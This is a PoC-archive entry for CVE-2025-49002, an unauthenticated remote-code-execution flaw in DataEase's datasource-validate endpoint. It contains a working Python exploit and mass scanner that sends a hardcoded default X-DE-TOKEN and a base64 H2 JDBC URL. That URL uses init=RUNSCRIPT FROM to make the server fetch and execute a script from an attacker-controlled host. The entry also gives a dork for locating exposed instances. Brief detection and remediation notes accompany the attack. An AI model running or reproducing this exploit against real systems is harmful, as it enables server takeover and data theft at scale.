PoC Archive PoC Archive
Critical CVE-2025-49002 unpatched

DataEase PostgreSQL JDBC Datasource-Validation Bypass to Remote Code Execution (CVE-2025-49002)

by Feng-Huang-0520 · 2026-07-06

CVSS 9.8/10
Severity
Critical
CVE
CVE-2025-49002
Category
web
Affected product
DataEase (开源数据可视化分析工具 / open-source BI/data-visualization platform by 飞致云/FIT2CLOUD)
Affected versions
Per source repository (DataEase v2 de2api datasource-validate endpoint)
Disclosed
2026-07-06
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / ResearcherFeng-Huang-0520
CVE / AdvisoryCVE-2025-49002
Categoryweb
SeverityCritical
CVSS Score9.8 (per NVD)
StatusPoC
Tagsdataease, jdbc, h2-database, runscript, rce, datasource-validate, ssrf-adjacent, cwe-94, python
RelatedN/A

Affected Target

FieldValue
Software / SystemDataEase (开源数据可视化分析工具 / open-source BI/data-visualization platform by 飞致云/FIT2CLOUD)
Versions AffectedPer source repository (DataEase v2 de2api datasource-validate endpoint)
Language / PlatformPython 3 PoC targeting a Java-based DataEase server
Authentication RequiredNo (uses a fixed/default X-DE-TOKEN value that does not require valid credentials)
Network Access RequiredYes (HTTP to target DataEase instance, plus outbound HTTP from the target to an attacker-controlled server to fetch the SQL payload)

Summary

DataEase’s /de2api/datasource/validate endpoint lets a client submit an arbitrary JDBC connection string when testing/validating a new datasource. By choosing datasource type: h2 and supplying a base64-encoded H2 JDBC URL that includes INIT=RUNSCRIPT FROM 'http://attacker/poc.sql', an attacker can make the DataEase backend fetch and execute an arbitrary SQL script from a remote URL as part of connection validation. H2’s RUNSCRIPT FROM directive can be abused to execute arbitrary Java code (e.g. via CREATE ALIAS/CREATE TRIGGER calling into java.lang.Runtime), giving full remote code execution on the DataEase server. The PoC simply confirms the injection point is reachable by checking for a specific error code (40001) in the validation response, which indicates the crafted JDBC URL was accepted and processed.


Vulnerability Details

Root Cause

The datasource-validate endpoint deserializes a base64-encoded JSON configuration blob containing a raw jdbc connection string and passes it largely unvalidated to the JDBC driver for connection testing. Decoding the base64 payload in poc.py reveals:

1
2
3
4
5
6
7
{
  "dataBase": "",
  "jdbc": "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;init=RUnSCRIPT FROM 'http://your-vps:2333/poc.sql'",
  "urlType": "jdbcUrl",
  "sshType": "password",
  ...
}

Because the server does not restrict which JDBC drivers/URL schemes/init= options may be used, and does not sandbox the H2 in-memory database engine invoked during “validation,” an attacker fully controls the JDBC URL and can direct the server to fetch and run a remote SQL script (RUNSCRIPT FROM <url>), which can embed arbitrary Java code execution via H2’s scripting/alias features.

Attack Vector

  1. Attacker hosts a malicious poc.sql script (containing H2 CREATE ALIAS/RCE gadget code) on an attacker-controlled HTTP server.
  2. Attacker sends a GET to the target root to confirm it is a live DataEase instance.
  3. Attacker sends a POST /de2api/datasource/validate request with a hardcoded/default X-DE-TOKEN and a JSON body whose configuration field is a base64-encoded JDBC connection descriptor of type h2, with jdbc set to jdbc:h2:mem:testdb;...;init=RUNSCRIPT FROM 'http://ATTACKER/poc.sql'.
  4. The DataEase backend attempts to validate/connect using this JDBC string, causing the H2 engine to fetch poc.sql from the attacker’s server and execute it, which (depending on the SQL script contents) can achieve arbitrary command execution.
  5. The PoC checks the JSON response’s code field; a value of 40001 indicates the crafted datasource was processed (i.e., the injection point exists and is reachable), confirming exploitability.

Impact

Unauthenticated (or token-default) remote code execution on the DataEase server host, via H2 JDBC RUNSCRIPT FROM abuse — full compromise of the BI server and any data sources it can reach.


Environment / Lab Setup

Target:   DataEase instance exposing /de2api/datasource/validate (fofa dork: title="DataEase")
Attacker: Python 3 + requests library; an HTTP server hosting a malicious poc.sql (H2 RCE gadget) reachable from the target

Proof of Concept

PoC Script

See poc.py and README.md (raw HTTP request template) in this folder.

1
2
3
4
5
6
python3 poc.py -u http://TARGET:PORT

python3 poc.py -f targets.txt

#
#

Detection & Indicators of Compromise

Signs of compromise:

  • DataEase application logs showing H2 JDBC connection strings with init=RUNSCRIPT FROM
  • Outbound connections from the DataEase server to attacker infrastructure over HTTP
  • Unexpected child processes spawned by the Java/DataEase process shortly after a datasource/validate call
  • New/unexpected files or reverse shells originating from the DataEase service account

Remediation

ActionDetail
Primary fixUpgrade DataEase to a version that restricts/sanitizes datasource JDBC URLs (disallow init=/RUNSCRIPT and restrict allowed JDBC drivers and schemes) — see vendor advisories; no official patch version identified in the mirrored repo
Interim mitigationRestrict network egress from the DataEase server so it cannot fetch arbitrary external URLs; require authentication/authorization on the datasource/validate endpoint; disable or firewall the de2api endpoints from untrusted networks

References


Notes

Mirrored from https://github.com/Feng-Huang-0520/DataEase_Postgresql_JDBC_Bypass-CVE-2025-49002 on 2026-07-06. poc.py sends the crafted JDBC datasource-validate request with a RUNSCRIPT FROM remote-URL payload — a genuine JDBC-attack technique against H2’s scripting feature, not a fabricated or stub exploit. The included README.md (kept alongside as reference) contains the raw HTTP request template with the fofa dork used to find exposed instances.

poc.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
import argparse,sys,requests,json
import urllib3
import warnings
from multiprocessing.dummy import Pool

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def main():
    # 单个url和一个文件
    # 初始化
    parse = argparse.ArgumentParser(description="飞致云 DataEase Postgresql JDBC Bypass 远程代码执行漏洞 CVE-2025-49002")

    # 添加命令行参数
    parse.add_argument('-u','--url',dest='url',type=str,help='please input your link')
    parse.add_argument('-f','--file',dest='file',type=str,help='please input your file')

    # 实例化
    args = parse.parse_args()

    # 对用户输入的参数做判断 输入正确 url file 输入错误弹出提示
    if args.url and not args.file:
        poc(args.url)
    elif args.file and not args.url:
        # 多线程处理
        url_list = [] # 用于接收读取文件之后的url
        with open(args.file,'r',encoding='utf-8') as fp:
            for url in fp.readlines():
                url_list.append(url.strip())
        mp = Pool(100)
        mp.map(poc,url_list)
        mp.close
        mp.join
        
    else:
        print(f"Usage python {sys.argv[0]} -h")

def poc(target):
    link = "/de2api/datasource/validate"
    headers = {
        "Accept-Encoding": "gzip, deflate, br, zstd",
        "sec-ch-ua": '"Google Chrome";v="135", "Not-A.Brand";v="8", "Chromium";v="135"',
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36",
        "Accept": "application/json, text/plain, */*",
        "X-DE-TOKEN": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEsIm9pZCI6MX0.a5QYOfZDYlhAy-zUMYzKBBvCUs1ogZhjwKV5SBTECt8",
        "Accept-Language": "zh-CN",
        "Sec-Fetch-Dest": "empty",
        "sec-ch-ua-mobile": "?0",
        "Sec-Fetch-Site": "same-origin",
        "sec-ch-ua-platform": '"Windows"',
        "Content-Type": "application/json",
        "Sec-Fetch-Mode": "cors",
        "Content-Length": "821"
    }
    data = {
    "id": "",
    "name": "11",
    "description": "",
    "type": "h2",
    "apiConfiguration": [],
    "paramsConfiguration": [],
    "enableDataFill": "false",
    "configuration": "eyJkYXRhQmFzZSI6IiIsImpkYmMiOiJqZGJjOmgyOm1lbTp0ZXN0ZGI7VFJBQ0VfTEVWRUxfU1lTVEVNX09VVD0zO2luaXQ9UlVuU0NSSVBUIEZST00gJ2h0dHA6Ly95b3VyLXZwczoyMzMzL3BvYy5zcWwnIiwidXJsVHlwZSI6ImpkYmNVcmwiLCJzc2hUeXBlIjoicGFzc3dvcmQiLCJleHRyYVBhcmFtcyI6IiIsInVzZXJuYW1lIjoiMTIzIiwicGFzc3dvcmQiOiIxMjMiLCJob3N0IjoiIiwiYXV0aE1ldGhvZCI6IiIsInBvcnQiOjAsImluaXRpYWxQb29sU2l6ZSI6NSwibWluUG9vbFNpemUiOjUsIm1heFBvb2xTaXplIjo1LCJxdWVyeVRpbWVvdXQiOjMwfQ=="
    }
    try:
        res1 = requests.get(url=target,headers=headers,verify=False)
        if res1.status_code == 200:
            res2 = requests.post(url=target+link,headers=headers,json=data,verify=False)
            res2_content = json.loads(res2.text)
            if str(res2_content["code"]) == "40001":
                print(f"[+]该{target}存在RCE注入")
                # 写入到一个文件中
                with open('result.txt','a',encoding='utf-8') as f:
                    f.write(f"[+]该{target}存在RCE注入"+"\n")
            else:
                print(f"[-]该{target}不存在RCE注入")
    except:
        print(f"该{target}存在问题,请手工测试")
# 函数入口

if __name__ == "__main__":
    main()